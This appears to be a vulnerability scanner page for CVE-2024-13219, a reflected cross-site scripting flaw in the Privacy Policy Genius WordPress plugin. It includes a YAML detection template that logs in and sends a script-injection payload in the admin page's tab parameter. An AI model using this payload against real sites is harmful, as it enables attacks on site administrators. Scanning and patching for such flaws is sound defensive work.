Privacy Policy Genius - Cross-Site Scripting
CVE-2024-13219
Verified
Description
Privacy Policy Genius WordPress plugin v2.0.4 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
Severity
Medium
CVSS Score
6.1
Exploit Probability
2%
Affected Product
privacy_policy_genius
Published Date
February 6, 2026
Template Author
sourabh-sahu
CVE-2024-13219.yaml
id: CVE-2024-13219
info:
name: Privacy Policy Genius - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Privacy Policy Genius WordPress plugin v2.0.4 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
remediation: |
Update to the latest version of the plugin where input sanitization and escaping are properly implemented.
reference:
- https://wpscan.com/vulnerability/3ad02238-dce1-48ce-986f-fef36b110b2d/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13219
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13219
cwe-id: CWE-79
epss-score: 0.01546
epss-percentile: 0.81613
cpe: cpe:2.3:a:waelhassan:privacy_policy_genius:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: waelhassan
product: privacy_policy_genius
publicwww-query: "/plugins/policy-genius/"
tags: cve,cve2024,waelhassan,privacy-policy-genius,wordpress,wp,wp-plugin,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=privacy_guru&tab=audit"></script><script>alert(document.domain)</script><script>&refresh=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "privacy_policy")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 490a00463044022058711899d71d6583e652e4403ed0ae2a5925d18609e8355c42f53633f6d48ef702201a5a060aa6e389138b487d887479328eca1cc74cf7a9a0f392fe543fcb10ac8b:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13219
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of the plugin where input sanitization and escaping are properly implemented.